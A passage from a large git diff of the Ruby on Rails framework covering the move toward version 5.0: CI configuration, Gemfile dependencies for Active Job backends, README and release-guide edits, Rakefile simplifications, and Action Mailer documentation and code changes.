1939 files changed, 77331 insertions, 38937 deletions

diff --git a/.travis.yml b/.travis.yml
index 7f5b2095e3..b38cb0032b 100644
--- a/.travis.yml
+++ b/.travis.yml
@@ -1,22 +1,38 @@
+language: ruby
+sudo: false
 script: 'ci/travis.rb'
 before_install:
-  - travis_retry gem install bundler
-rvm:
-  - 1.9.3
-  - 2.0.0
-  - jruby-19mode
-  - rbx-19mode
+  - gem install bundler
+before_script:
+  - bundle update
+cache: bundler
 env:
-  - "GEM=railties"
-  - "GEM=ap,am,amo,as,av"
-  - "GEM=ar:mysql"
-  - "GEM=ar:mysql2"
-  - "GEM=ar:sqlite3"
-  - "GEM=ar:postgresql"
+  global:
+    - JRUBY_OPTS='-J-Xmx1024M'
+  matrix:
+    - "GEM=railties"
+    - "GEM=ap"
+    - "GEM=aj"
+    - "GEM=am,amo,as,av"
+    - "GEM=ar:mysql"
+    - "GEM=ar:mysql2"
+    - "GEM=ar:sqlite3"
+    - "GEM=ar:postgresql"
+    - "GEM=aj:integration"
+rvm:
+  - 2.2
+  - ruby-head
+  - rbx-2
+  - jruby-head
 matrix:
   allow_failures:
-    - rvm: jruby-19mode
-    - rvm: rbx-19mode
+    - env: "GEM=ar:mysql"
+    - rvm: ruby-head
+    - rvm: rbx-2
+    - rvm: jruby-head
+    - env: "GEM=aj"
+    - env: "GEM=aj:integration"
+  fast_finish: true
 notifications:
   email: false
   irc:
@@ -29,4 +45,10 @@ notifications:
     on_failure: always
     rooms:
       - secure: "YA1alef1ESHWGFNVwvmVGCkMe4cUy4j+UcNvMUESraceiAfVyRMAovlQBGs6\n9kBRm7DHYBUXYC2ABQoJbQRLDr/1B5JPf/M8+Qd7BKu8tcDC03U01SMHFLpO\naOs/HLXcDxtnnpL07tGVsm0zhMc5N8tq4/L3SHxK7Vi+TacwQzI="
-bundler_args: --path vendor/bundle --without test
+bundler_args: --without test --jobs 3 --retry 3
+services:
+  - memcached
+  - redis
+  - rabbitmq
+addons:
+  postgresql: "9.3"
diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md
index 19b7b638b6..421e7088cb 100644
--- a/CONTRIBUTING.md
+++ b/CONTRIBUTING.md
@@ -6,11 +6,12 @@ Ruby on Rails is a volunteer effort. We encourage you to pitch in. [Join the tea
 
 * If you want to contribute to Rails documentation, please read the [Contributing to the Rails Documentation](http://edgeguides.rubyonrails.org/contributing_to_ruby_on_rails.html#contributing-to-the-rails-documentation) section of the aforementioned guide.
 
-*We only accept bug reports and pull requests in GitHub*.
+*We only accept bug reports and pull requests on GitHub*.
 
 * If you have a question about how to use Ruby on Rails, please [ask the rubyonrails-talk mailing list](https://groups.google.com/forum/?fromgroups#!forum/rubyonrails-talk).
 
 * If you have a change or new feature in mind, please [suggest it on the rubyonrails-core mailing list](https://groups.google.com/forum/?fromgroups#!forum/rubyonrails-core) and start writing code.
 
-Thanks! :heart: :heart: :heart: <br />
+Thanks! :heart: :heart: :heart:
+
 Rails Team
diff --git a/Gemfile b/Gemfile
index 7ac743cbd6..08aa842d2f 100644
--- a/Gemfile
+++ b/Gemfile
@@ -2,49 +2,80 @@ source 'https://rubygems.org'
 
 gemspec
 
+# We need a newish Rake since Active Job sets its test tasks' descriptions.
+gem 'rake', '>= 10.3'
+
 # This needs to be with require false as it is
 # loaded after loading the test library to
 # ensure correct loading order
 gem 'mocha', '~> 0.14', require: false
 
 gem 'rack-cache', '~> 1.2'
-gem 'bcrypt-ruby', '~> 3.1.0'
-gem 'jquery-rails', '~> 2.2.0'
+gem 'jquery-rails', github: 'rails/jquery-rails', branch: 'master'
+gem 'coffee-rails', '~> 4.1.0'
 gem 'turbolinks'
-gem 'coffee-rails', '~> 4.0.0'
+gem 'arel', github: 'rails/arel', branch: 'master'
+
+# require: false so bcrypt is loaded only when has_secure_password is used.
+# This is to avoid ActiveModel (and by extension the entire framework)
+# being dependent on a binary library.
+gem 'bcrypt', '~> 3.1.7', require: false
 
 # This needs to be with require false to avoid
 # it being automatically loaded by sprockets
 gem 'uglifier', '>= 1.3.0', require: false
 
 group :doc do
-  gem 'sdoc'
-  gem 'redcarpet', '~> 2.2.2', platforms: :ruby
+  gem 'sdoc', '~> 0.4.0'
+  gem 'redcarpet', '~> 3.2.2', platforms: :ruby
   gem 'w3c_validators'
-  gem 'kindlerb'
+  gem 'kindlerb', '0.1.1'
 end
 
 # AS
 gem 'dalli', '>= 2.2.1'
 
+# ActiveJob
+group :job do
+  gem 'resque', require: false
+  gem 'resque-scheduler', require: false
+  gem 'sidekiq', require: false
+  gem 'sucker_punch', require: false
+  gem 'delayed_job', require: false
+  gem 'queue_classic', require: false, platforms: :ruby
+  gem 'sneakers', '0.1.1.pre', require: false
+  gem 'que', require: false
+  gem 'backburner', require: false
+  gem 'qu-rails', github: "bkeepers/qu", branch: "master", require: false
+  gem 'qu-redis', require: false
+  # gem 'delayed_job_active_record', require: false
+  gem 'sequel', require: false
+end
+
 # Add your own local bundler stuff
 local_gemfile = File.dirname(__FILE__) + "/.Gemfile"
-instance_eval File.read local_gemfile if File.exists? local_gemfile
+instance_eval File.read local_gemfile if File.exist? local_gemfile
 
 group :test do
+  # FIX: Our test suite isn't ready to run in random order yet
+  gem 'minitest', '< 5.3.4'
+
   platforms :mri_19 do
     gem 'ruby-prof', '~> 0.11.2'
   end
 
-  platforms :mri_19, :mri_20 do
-    gem 'debugger'
+  platforms :mri_21, :mri_22 do
+    gem 'stackprof'
   end
 
+  # platforms :mri do
+  #   gem 'byebug'
+  # end
+
   gem 'benchmark-ips'
 end
 
 platforms :ruby do
-  gem 'yajl-ruby'
   gem 'nokogiri', '>= 1.4.5'
 
   # Needed for compiling the ActionDispatch::Journey parser
@@ -54,7 +85,7 @@ platforms :ruby do
   gem 'sqlite3', '~> 1.3.6'
 
   group :db do
-    gem 'pg', '>= 0.11.0'
+    gem 'pg', '>= 0.18.0'
     gem 'mysql', '>= 2.9.0'
     gem 'mysql2', '>= 0.3.13'
   end
@@ -62,18 +93,31 @@ end
 
 platforms :jruby do
   gem 'json'
-  gem 'activerecord-jdbcsqlite3-adapter', '>= 1.3.0'
-
-  group :db do
-    gem 'activerecord-jdbcmysql-adapter', '>= 1.3.0'
-    gem 'activerecord-jdbcpostgresql-adapter', '>= 1.3.0'
+  if ENV['AR_JDBC']
+    gem 'activerecord-jdbcsqlite3-adapter', github: 'jruby/activerecord-jdbc-adapter', branch: 'master'
+    group :db do
+      gem 'activerecord-jdbcmysql-adapter', github: 'jruby/activerecord-jdbc-adapter', branch: 'master'
+      gem 'activerecord-jdbcpostgresql-adapter', github: 'jruby/activerecord-jdbc-adapter', branch: 'master'
+    end
+  else
+    gem 'activerecord-jdbcsqlite3-adapter', '>= 1.3.0'
+    group :db do
+      gem 'activerecord-jdbcmysql-adapter', '>= 1.3.0'
+      gem 'activerecord-jdbcpostgresql-adapter', '>= 1.3.0'
+    end
   end
 end
 
+platforms :rbx do
+  # The rubysl-yaml gem doesn't ship with Psych by default
+  # as it needs libyaml that isn't always available.
+  gem 'psych', '~> 2.0'
+end
+
 # gems that are necessary for ActiveRecord tests with Oracle database
 if ENV['ORACLE_ENHANCED']
   platforms :ruby do
-    gem 'ruby-oci8', '>= 2.0.4'
+    gem 'ruby-oci8', '~> 2.1'
   end
   gem 'activerecord-oracle_enhanced-adapter', github: 'rsim/oracle-enhanced', branch: 'master'
 end
diff --git a/RAILS_VERSION b/RAILS_VERSION
index 14b6456d31..2b915d7d5c 100644
--- a/RAILS_VERSION
+++ b/RAILS_VERSION
@@ -1 +1 @@
-4.1.0.beta
+5.0.0.alpha
diff --git a/README.md b/README.md
index 95a66aea28..bbe3a6731d 100644
--- a/README.md
+++ b/README.md
@@ -2,7 +2,7 @@
 
 Rails is a web-application framework that includes everything needed to
 create database-backed web applications according to the
-[Model-View-Controller (MVC)](http://en.wikipedia.org/wiki/Model%E2%80%93view%E2%80%93controller)
+[Model-View-Controller (MVC)](http://en.wikipedia.org/wiki/Model-view-controller)
 pattern.
 
 Understanding the MVC pattern is key to understanding Rails. MVC divides your
@@ -13,10 +13,10 @@ Person, Post, etc.) and encapsulates the business logic that is specific to
 your application. In Rails, database-backed model classes are derived from
 `ActiveRecord::Base`. Active Record allows you to present the data from
 database rows as objects and embellish these data objects with business logic
-methods. Although most Rails models are backed by a database, models can also
-be ordinary Ruby classes, or Ruby classes that implement a set of interfaces
-as provided by the Active Model module. You can read more about Active Record
-in its [README](activerecord/README.rdoc).
+methods. You can read more about Active Record in its [README](activerecord/README.rdoc).
+Although most Rails models are backed by a database, models can also be ordinary
+Ruby classes, or Ruby classes that implement a set of interfaces as provided by
+the Active Model module. You can read more about Active Model in its [README](activemodel/README.rdoc).
 
 The _Controller layer_ is responsible for handling incoming HTTP requests and
 providing a suitable response. Usually this means returning HTML, but Rails controllers
@@ -36,9 +36,11 @@ You can read more about Action View in its [README](actionview/README.rdoc).
 
 Active Record, Action Pack, and Action View can each be used independently outside Rails.
 In addition to them, Rails also comes with Action Mailer ([README](actionmailer/README.rdoc)), a library
-to generate and send emails; and Active Support ([README](activesupport/README.rdoc)), a collection of
-utility classes and standard library extensions that are useful for Rails, and may also be used
-independently outside Rails.
+to generate and send emails; Active Job ([README](activejob/README.md)), a
+framework for declaring jobs and making them run on a variety of queueing
+backends; and Active Support ([README](activesupport/README.rdoc)), a collection
+of utility classes and standard library extensions that are useful for Rails,
+and may also be used independently outside Rails.
 
 ## Getting Started
 
@@ -59,14 +61,15 @@ independently outside Rails.
 
    Run with `--help` or `-h` for options.
 
-4. Go to http://localhost:3000 and you'll see: "Welcome aboard: You're riding Ruby on Rails!"
+4. Using a browser, go to `http://localhost:3000` and you'll see:
+"Welcome aboard: You're riding Ruby on Rails!"
 
 5. Follow the guidelines to start developing your application. You may find
    the following resources handy:
     * [Getting Started with Rails](http://guides.rubyonrails.org/getting_started.html)
     * [Ruby on Rails Guides](http://guides.rubyonrails.org)
     * [The API Documentation](http://api.rubyonrails.org)
-    * [Ruby on Rails Tutorial](http://ruby.railstutorial.org/ruby-on-rails-tutorial-book)
+    * [Ruby on Rails Tutorial](http://www.railstutorial.org/book)
 
 ## Contributing
 
@@ -75,8 +78,7 @@ We encourage you to contribute to Ruby on Rails! Please check out the
 
 ## Code Status
 
-* [![Build Status](https://api.travis-ci.org/rails/rails.png)](https://travis-ci.org/rails/rails)
-* [![Dependencies](https://gemnasium.com/rails/rails.png?travis)](https://gemnasium.com/rails/rails)
+[![Build Status](https://travis-ci.org/rails/rails.svg?branch=master)](https://travis-ci.org/rails/rails)
 
 ## License
 
diff --git a/RELEASING_RAILS.rdoc b/RELEASING_RAILS.rdoc
index 6f8c79eef2..0e09234b82 100644
--- a/RELEASING_RAILS.rdoc
+++ b/RELEASING_RAILS.rdoc
@@ -42,7 +42,7 @@ addressed, and that can impact your release date.
 Ruby implementors have high stakes in making sure Rails works.  Be kind and
 give them a heads up that Rails will be released soonish.
 
-This only needs done for major and minor releases, bugfix releases aren't a
+This is only required for major and minor releases, bugfix releases aren't a
 big enough deal, and are supposed to be backwards compatible.
 
 Send an email just giving a heads up about the upcoming release to these
@@ -110,10 +110,10 @@ what to do in case anything goes wrong:
 
     $ rake all:build
     $ git commit -am'updating RAILS_VERSION'
-    $ git tag -m'tagging rc release' v3.0.10.rc1
+    $ git tag -m 'v3.0.10.rc1 release' v3.0.10.rc1
     $ git push
     $ git push --tags
-    $ for i in $(ls dist); do gem push $i; done
+    $ for i in $(ls pkg); do gem push $i; done
 
 === Send Rails release announcements
 
@@ -158,7 +158,7 @@ commits should be added to the release branch besides regression fixing commits.
 == Day of release
 
 Many of these steps are the same as for the release candidate, so if you need
-more explanation on a particular step, so the RC steps.
+more explanation on a particular step, see the RC steps.
 
 Today, do this stuff in this order:
 
@@ -203,34 +203,3 @@ There are two simple steps for fixing the CI:
 2. Fix it
 
 Repeat these steps until the CI is green.
-
-=== Manually trigger docs generation
-
-We have a post-receive hook in GitHub that calls the docs server on pushes.
-It triggers generation and publication of edge docs, updates the contrib app,
-and generates and publishes stable docs if a new stable tag is detected.
-
-The hook unfortunately is not invoked by tag pushing, so once the new stable
-tag has been pushed to origin, please run
-
-    rake publish_docs
-
-You should see something like this:
-
-    Rails master hook tasks scheduled:
-
-      * updates the local checkout
-      * updates Rails Contributors
-      * generates and publishes edge docs
-
-    If a new stable tag is detected it also
-
-      * generates and publishes stable docs
-
-    This needs typically a few minutes.
-
-Note you do not need to specify the tag, the docs server figures it out.
-
-Also, don't worry if you call that multiple times or the hook is triggered
-again by some immediate regular push, if the scripts are running new calls
-are just queued (in a queue of size 1).
diff --git a/Rakefile b/Rakefile
index 08473ba216..db27105cc3 100644
--- a/Rakefile
+++ b/Rakefile
@@ -11,7 +11,7 @@ task :build => "all:build"
 desc "Release all gems to rubygems and create a tag"
 task :release => "all:release"
 
-PROJECTS = %w(activesupport activemodel actionpack actionview actionmailer activerecord railties)
+PROJECTS = %w(activesupport activemodel actionpack actionview actionmailer activerecord railties activejob)
 
 desc 'Run all tests by default'
 task :default => %w(test test:isolated)
@@ -36,15 +36,7 @@ task :smoke do
 end
 
 desc "Install gems for all projects."
-task :install => :build do
-  version = File.read("RAILS_VERSION").strip
-  (PROJECTS - ["railties"]).each do |project|
-    puts "INSTALLING #{project}"
-    system("gem install #{project}/pkg/#{project}-#{version}.gem --local --no-ri --no-rdoc")
-  end
-  system("gem install railties/pkg/railties-#{version}.gem --local --no-ri --no-rdoc")
-  system("gem install pkg/rails-#{version}.gem --local --no-ri --no-rdoc")
-end
+task :install => "all:install"
 
 desc "Generate documentation for the Rails framework"
 if ENV['EDGE']
@@ -53,36 +45,9 @@ else
   Rails::API::StableTask.new('rdoc')
 end
 
-desc 'Bump all versions to match version.rb'
-task :update_versions do
-  require File.dirname(__FILE__) + "/version"
-
-  File.open("RAILS_VERSION", "w") do |f|
-    f.puts Rails::VERSION::STRING
-  end
+desc 'Bump all versions to match RAILS_VERSION'
+task :update_versions => "all:update_versions"
 
-  constants = {
-    "activesupport"   => "ActiveSupport",
-    "activemodel"     => "ActiveModel",
-    "actionpack"      => "ActionPack",
-    "actionview"      => "ActionView",
-    "actionmailer"    => "ActionMailer",
-    "activerecord"    => "ActiveRecord",
-    "railties"        => "Rails"
-  }
-
-  version_file = File.read("version.rb")
-
-  PROJECTS.each do |project|
-    Dir["#{project}/lib/*/version.rb"].each do |file|
-      File.open(file, "w") do |f|
-        f.write version_file.gsub(/Rails/, constants[project])
-      end
-    end
-  end
-end
-
-#
 # We have a webhook configured in GitHub that gets invoked after pushes.
 # This hook triggers the following tasks:
 #
@@ -92,11 +57,6 @@ end
 #   * if there's a new stable tag, generates and publishes stable docs
 #
 # Everything is automated and you do NOT need to run this task normally.
-#
-# We publish a new version by tagging, and pushing a tag does not trigger
-# that webhook. Stable docs would be updated by any subsequent regular
-# push, but if you want that to happen right away just run this.
-#
 desc 'Publishes docs, run this AFTER a new stable tag has been pushed'
 task :publish_docs do
   Net::HTTP.new('api.rubyonrails.org', 8080).start do |http|
diff --git a/actionmailer/CHANGELOG.md b/actionmailer/CHANGELOG.md
index 1659696bfb..86ecb3ee88 100644
--- a/actionmailer/CHANGELOG.md
+++ b/actionmailer/CHANGELOG.md
@@ -1,7 +1,56 @@
-* invoke mailer defaults as procs only if they are procs, do not convert
-  with to_proc.  That an object is convertible to a proc does not mean it's
-  meant to be always used as a proc.  Fixes #11533
+*   Add `assert_enqueued_emails` and `assert_no_enqueued_emails`.
 
-  *Alex Tsukernik*
+    Example:
 
-Please check [4-0-stable](https://github.com/rails/rails/blob/4-0-stable/actionmailer/CHANGELOG.md) for previous changes.
+        def test_emails
+          assert_enqueued_emails 2 do
+            ContactMailer.welcome.deliver_later
+            ContactMailer.welcome.deliver_later
+          end
+        end
+
+        def test_no_emails
+          assert_no_enqueued_emails do
+            # No emails enqueued here
+          end
+        end
+
+    *George Claghorn*
+
+*   Add `_mailer` suffix to mailers created via generator, following the same
+    naming convention used in controllers and jobs.
+
+    *Carlos Souza*
+
+*   Remove deprecate `*_path` helpers in email views.
+
+    *Rafael Mendonça França*
+
+*   Remove deprecated `deliver` and `deliver!` methods.
+
+    *claudiob*
+
+*   Template lookup now respects default locale and I18n fallbacks.
+
+    Given the following templates:
+
+        mailer/demo.html.erb
+        mailer/demo.en.html.erb
+        mailer/demo.pt.html.erb
+
+    Before this change, for a locale that doesn't have its associated file, the
+    `mailer/demo.html.erb` would be rendered even if `en` was the default locale.
+
+    Now `mailer/demo.en.html.erb` has precedence over the file without locale.
+
+    Also, it is possible to give a fallback.
+
+        mailer/demo.pt.html.erb
+        mailer/demo.pt-BR.html.erb
+
+    So if the locale is `pt-PT`, `mailer/demo.pt.html.erb` will be rendered given
+    the right I18n fallback configuration.
+
+    *Rafael Mendonça França*
+
+Please check [4-2-stable](https://github.com/rails/rails/blob/4-2-stable/actionmailer/CHANGELOG.md) for previous changes.
diff --git a/actionmailer/MIT-LICENSE b/actionmailer/MIT-LICENSE
index 5c668d9624..3ec7a617cf 100644
--- a/actionmailer/MIT-LICENSE
+++ b/actionmailer/MIT-LICENSE
@@ -1,4 +1,4 @@
-Copyright (c) 2004-2013 David Heinemeier Hansson
+Copyright (c) 2004-2015 David Heinemeier Hansson
 
 Permission is hereby granted, free of charge, to any person obtaining
 a copy of this software and associated documentation files (the
diff --git a/actionmailer/README.rdoc b/actionmailer/README.rdoc
index a14a6ba18f..a4e660d621 100644
--- a/actionmailer/README.rdoc
+++ b/actionmailer/README.rdoc
@@ -61,24 +61,30 @@ generated would look like this:
 
   Thank you for signing up!
 
-In previous version of Rails you would call <tt>create_method_name</tt> and
-<tt>deliver_method_name</tt>.  Rails 3.0 has a much simpler interface - you
-simply call the method and optionally call +deliver+ on the return value.
+In order to send mails, you simply call the method and then call +deliver_now+ on the return value.
 
 Calling the method returns a Mail Message object:
 
-  message = Notifier.welcome("david@loudthinking.com")  # => Returns a Mail::Message object
-  message.deliver                                       # => delivers the email
+  message = Notifier.welcome("david@loudthinking.com")   # => Returns a Mail::Message object
+  message.deliver_now                                    # => delivers the email
 
 Or you can just chain the methods together like:
 
-  Notifier.welcome("david@loudthinking.com").deliver    # Creates the email and sends it immediately
+  Notifier.welcome("david@loudthinking.com").deliver_now # Creates the email and sends it immediately
 
 == Setting defaults
 
-It is possible to set default values that will be used in every method in your Action Mailer class. To implement this functionality, you just call the public class method <tt>default</tt> which you get for free from ActionMailer::Base. This method accepts a Hash as the parameter. You can use any of the headers e-mail messages has, like <tt>:from</tt> as the key. You can also pass in a string as the key, like "Content-Type", but Action Mailer does this out of the box for you, so you won't need to worry about that. Finally, it is also possible to pass in a Proc that will get evaluated when it is needed.
+It is possible to set default values that will be used in every method in your
+Action Mailer class. To implement this functionality, you just call the public
+class method +default+ which you get for free from <tt>ActionMailer::Base</tt>.
+This method accepts a Hash as the parameter. You can use any of the headers,
+email messages have, like +:from+ as the key. You can also pass in a string as
+the key, like "Content-Type", but Action Mailer does this out of the box for you,
+so you won't need to worry about that. Finally, it is also possible to pass in a
+Proc that will get evaluated when it is needed.
 
-Note that every value you set with this method will get overwritten if you use the same key in your mailer method.
+Note that every value you set with this method will get overwritten if you use the
+same key in your mailer method.
 
 Example:
 
@@ -89,10 +95,11 @@ Example:
 
 == Receiving emails
 
-To receive emails, you need to implement a public instance method called <tt>receive</tt> that takes an
-email object as its single parameter. The Action Mailer framework has a corresponding class method,
-which is also called <tt>receive</tt>, that accepts a raw, unprocessed email as a string, which it then turns
-into the email object and calls the receive instance method.
+To receive emails, you need to implement a public instance method called
++receive+ that takes an email object as its single parameter. The Action Mailer
+framework has a corresponding class method, which is also called +receive+, that
+accepts a raw, unprocessed email as a string, which it then turns into the email
+object and calls the receive instance method.
 
 Example:
 
@@ -104,7 +111,7 @@ Example:
       )
 
       if email.has_attachments?
-        email.attachments.each do |attachment| 
+        email.attachments.each do |attachment|
           page.attachments.create({
             file: attachment, description: email.subject
           })
@@ -113,13 +120,14 @@ Example:
     end
   end
 
-This Mailman can be the target for Postfix or other MTAs. In Rails, you would use the runner in the
-trivial case like this:
+This Mailman can be the target for Postfix or other MTAs. In Rails, you would use
+the runner in the trivial case like this:
 
   rails runner 'Mailman.receive(STDIN.read)'
 
-However, invoking Rails in the runner for each mail to be received is very resource intensive.  A single
-instance of Rails should be run within a daemon, if it is going to process more than just a limited amount of email.
+However, invoking Rails in the runner for each mail to be received is very
+resource intensive. A single instance of Rails should be run within a daemon, if
+it is going to process more than just a limited amount of email.
 
 == Configuration
 
@@ -158,7 +166,11 @@ API documentation is at
 
 * http://api.rubyonrails.org
 
-Bug reports and feature requests can be filed with the rest for the Ruby on Rails project here:
+Bug reports can be filed for the Ruby on Rails project here:
 
 * https://github.com/rails/rails/issues
 
+Feature requests should be discussed on the rails-core mailing list here:
+
+* https://groups.google.com/forum/?fromgroups#!forum/rubyonrails-core
+
diff --git a/actionmailer/Rakefile b/actionmailer/Rakefile
index 5ddd90020b..8f4de8fafa 100644
--- a/actionmailer/Rakefile
+++ b/actionmailer/Rakefile
@@ -10,6 +10,7 @@ Rake::TestTask.new { |t|
   t.pattern = 'test/**/*_test.rb'
   t.warning = true
   t.verbose = true
+  t.ruby_opts = ["--dev"] if defined?(JRUBY_VERSION)
 }
 
 namespace :test do
diff --git a/actionmailer/actionmailer.gemspec b/actionmailer/actionmailer.gemspec
index 9b25feaf75..513c217733 100644
--- a/actionmailer/actionmailer.gemspec
+++ b/actionmailer/actionmailer.gemspec
@@ -7,7 +7,7 @@ Gem::Specification.new do |s|
   s.summary     = 'Email composition, delivery, and receiving framework (part of Rails).'
   s.description = 'Email on Rails. Compose, deliver, receive, and test emails using the familiar controller/view pattern. First-class support for multipart email and attachments.'
 
-  s.required_ruby_version = '>= 1.9.3'
+  s.required_ruby_version = '>= 2.2.0'
 
   s.license = 'MIT'
 
@@ -21,6 +21,8 @@ Gem::Specification.new do |s|
 
   s.add_dependency 'actionpack', version
   s.add_dependency 'actionview', version
+  s.add_dependency 'activejob', version
 
-  s.add_dependency 'mail', '~> 2.5.4'
+  s.add_dependency 'mail', ['~> 2.5', '>= 2.5.4']
+  s.add_dependency 'rails-dom-testing', '~> 1.0', '>= 1.0.5'
 end
diff --git a/actionmailer/lib/action_mailer.rb b/actionmailer/lib/action_mailer.rb
index 5b6960c8fc..17d8dcc208 100644
--- a/actionmailer/lib/action_mailer.rb
+++ b/actionmailer/lib/action_mailer.rb
@@ -1,5 +1,5 @@
 #--
-# Copyright (c) 2004-2013 David Heinemeier Hansson
+# Copyright (c) 2004-2015 David Heinemeier Hansson
 #
 # Permission is hereby granted, free of charge, to any person obtaining
 # a copy of this software and associated documentation files (the
@@ -41,6 +41,10 @@ module ActionMailer
   autoload :Base
   autoload :DeliveryMethods
   autoload :MailHelper
+  autoload :Preview
+  autoload :Previews, 'action_mailer/preview'
   autoload :TestCase
   autoload :TestHelper
+  autoload :MessageDelivery
+  autoload :DeliveryJob
 end
diff --git a/actionmailer/lib/action_mailer/base.rb b/actionmailer/lib/action_mailer/base.rb
index 9dcd4bf554..7eae76f93b 100644
--- a/actionmailer/lib/action_mailer/base.rb
+++ b/actionmailer/lib/action_mailer/base.rb
@@ -15,11 +15,17 @@ module ActionMailer
   #
   #   $ rails generate mailer Notifier
   #
-  # The generated model inherits from <tt>ActionMailer::Base</tt>. A mailer model defines methods
+  # The generated model inherits from <tt>ApplicationMailer</tt> which in turn
+  # inherits from <tt>ActionMailer::Base</tt>. A mailer model defines methods
   # used to generate an email message. In these methods, you can setup variables to be used in
   # the mailer views, options on the mail itself such as the <tt>:from</tt> address, and attachments.
   #
-  #   class Notifier < ActionMailer::Base
+  #   class ApplicationMailer < ActionMailer::Base
+  #     default from: 'from@exmaple.com'
+  #     layout 'mailer'
+  #   end
+  #
+  #   class Notifier < ApplicationMailer
   #     default from: 'no-reply@example.com',
   #             return_path: 'system@example.com'
   #
@@ -39,23 +45,20 @@ module ActionMailer
   #   in the same manner as <tt>attachments[]=</tt>
   #
   # * <tt>headers[]=</tt> - Allows you to specify any header field in your email such
-  #   as <tt>headers['X-No-Spam'] = 'True'</tt>. Note, while most fields like <tt>To:</tt>
-  #   <tt>From:</tt> can only appear once in an email header, other fields like <tt>X-Anything</tt>
-  #   can appear multiple times. If you want to change a field that can appear multiple times,
-  #   you need to set it to nil first so that Mail knows you are replacing it and not adding
-  #   another field of the same name.
+  #   as <tt>headers['X-No-Spam'] = 'True'</tt>. Note that declaring a header multiple times
+  #   will add many fields of the same name. Read #headers doc for more information.
   #
   # * <tt>headers(hash)</tt> - Allows you to specify multiple headers in your email such
   #   as <tt>headers({'X-No-Spam' => 'True', 'In-Reply-To' => '1234@message.id'})</tt>
   #
   # * <tt>mail</tt> - Allows you to specify email to be sent.
   #
-  # The hash passed to the mail method allows you to specify any header that a Mail::Message
-  # will accept (any valid Email header including optional fields).
+  # The hash passed to the mail method allows you to specify any header that a <tt>Mail::Message</tt>
+  # will accept (any valid email header including optional fields).
   #
   # The mail method, if not passed a block, will inspect your views and send all the views with
   # the same name as the method, so the above action would send the +welcome.text.erb+ view
-  # file as well as the +welcome.text.html.erb+ view file in a +multipart/alternative+ email.
+  # file as well as the +welcome.html.erb+ view file in a +multipart/alternative+ email.
   #
   # If you want to explicitly render only certain templates, pass a block:
   #
@@ -87,14 +90,15 @@ module ActionMailer
   # name as the method in your mailer model. For example, in the mailer defined above, the template at
   # <tt>app/views/notifier/welcome.text.erb</tt> would be used to generate the email.
   #
-  # Variables defined in the model are accessible as instance variables in the view.
+  # Variables defined in the methods of your mailer model are accessible as instance variables in their
+  # corresponding view.
   #
   # Emails by default are sent in plain text, so a sample view for our model example might look like this:
   #
   #   Hi <%= @account.name %>,
   #   Thanks for joining our service! Please check back often.
   #
-  # You can even use Action Pack helpers in these views. For example:
+  # You can even use Action View helpers in these views. For example:
   #
   #   You got a new note!
   #   <%= truncate(@note.body, length: 25) %>
@@ -128,19 +132,25 @@ module ActionMailer
   #
   #   config.action_mailer.default_url_options = { host: "example.com" }
   #
-  # When you decide to set a default <tt>:host</tt> for your mailers, then you need to make sure to use the
-  # <tt>only_path: false</tt> option when using <tt>url_for</tt>. Since the <tt>url_for</tt> view helper
-  # will generate relative URLs by default when a <tt>:host</tt> option isn't explicitly provided, passing
-  # <tt>only_path: false</tt> will ensure that absolute URLs are generated.
-  #
   # = Sending mail
   #
   # Once a mailer action and template are defined, you can deliver your message or create it and save it
   # for delivery later:
   #
-  #   Notifier.welcome(david).deliver # sends the email
-  #   mail = Notifier.welcome(david)  # => a Mail::Message object
-  #   mail.deliver                    # sends the email
+  #   Notifier.welcome(User.first).deliver_now # sends the email
+  #   mail = Notifier.welcome(User.first)      # => an ActionMailer::MessageDelivery object
+  #   mail.deliver_now                    # sends the email
+  #
+  # The <tt>ActionMailer::MessageDelivery</tt> class is a wrapper around a <tt>Mail::Message</tt> object. If
+  # you want direct access to the <tt>Mail::Message</tt> object you can call the <tt>message</tt> method on
+  # the <tt>ActionMailer::MessageDelivery</tt> object.
+  #
+  #   Notifier.welcome(User.first).message     # => a Mail::Message object
+  #
+  # Action Mailer is nicely integrated with Active Job so you can send emails in the background (example: outside
+  # of the request-response cycle, so the user doesn't have to wait on it):
+  #
+  #   Notifier.welcome(User.first).deliver_later # enqueue the email sending to Active Job
   #
   # You never instantiate your mailer class. Rather, you just call the method you defined on the class itself.
   #
@@ -154,7 +164,7 @@ module ActionMailer
   # * signup_notification.text.erb
   # * signup_notification.html.erb
   # * signup_notification.xml.builder
-  # * signup_notification.yaml.erb
+  # * signup_notification.yml.erb
   #
   # Each would be rendered and added as a separate part to the message, with the corresponding content
   # type. The content type for the entire message is automatically set to <tt>multipart/alternative</tt>,
@@ -169,7 +179,7 @@ module ActionMailer
   #
   # Sending attachment in emails is easy:
   #
-  #   class ApplicationMailer < ActionMailer::Base
+  #   class Notifier < ApplicationMailer
   #     def welcome(recipient)
   #       attachments['free_book.pdf'] = File.read('path/to/file.pdf')
   #       mail(to: recipient, subject: "New account information")
@@ -185,7 +195,7 @@ module ActionMailer
   # If you need to send attachments with no content, you need to create an empty view for it,
   # or add an empty body parameter like this:
   #
-  #     class ApplicationMailer < ActionMailer::Base
+  #     class Notifier < ApplicationMailer
   #       def welcome(recipient)
   #         attachments['free_book.pdf'] = File.read('path/to/file.pdf')
   #         mail(to: recipient, subject: "New account information", body: "")
@@ -197,7 +207,7 @@ module ActionMailer
   # You can also specify that a file should be displayed inline with other HTML. This is useful
   # if you want to display a corporate logo or a photo.
   #
-  #   class ApplicationMailer < ActionMailer::Base
+  #   class Notifier < ApplicationMailer
   #     def welcome(recipient)
   #       attachments.inline['photo.png'] = File.read('path/to/photo.png')
   #       mail(to: recipient, subject: "Here is what we look like")
@@ -229,14 +239,14 @@ module ActionMailer
   # An interceptor class must implement the <tt>:delivering_email(message)</tt> method which will be
   # called before the email is sent, allowing you to make modifications to the email before it hits
   # the delivery agents. Your class should make any needed modifications directly to the passed
-  # in Mail::Message instance.
+  # in <tt>Mail::Message</tt> instance.
   #
   # = Default Hash
   #
   # Action Mailer provides some intelligent defaults for your emails, these are usually specified in a
   # default method inside the class definition:
   #
-  #   class Notifier < ActionMailer::Base
+  #   class Notifier < ApplicationMailer
   #     default sender: 'system@example.com'
   #   end
   #
@@ -254,7 +264,7 @@ module ActionMailer
   # As you can pass in any header, you need to either quote the header as a string, or pass it in as
   # an underscored symbol, so the following will work:
   #
-  #   class Notifier < ActionMailer::Base
+  #   class Notifier < ApplicationMailer
   #     default 'Content-Transfer-Encoding' => '7bit',
   #             content_description: 'This is a description'
   #   end
@@ -262,7 +272,7 @@ module ActionMailer
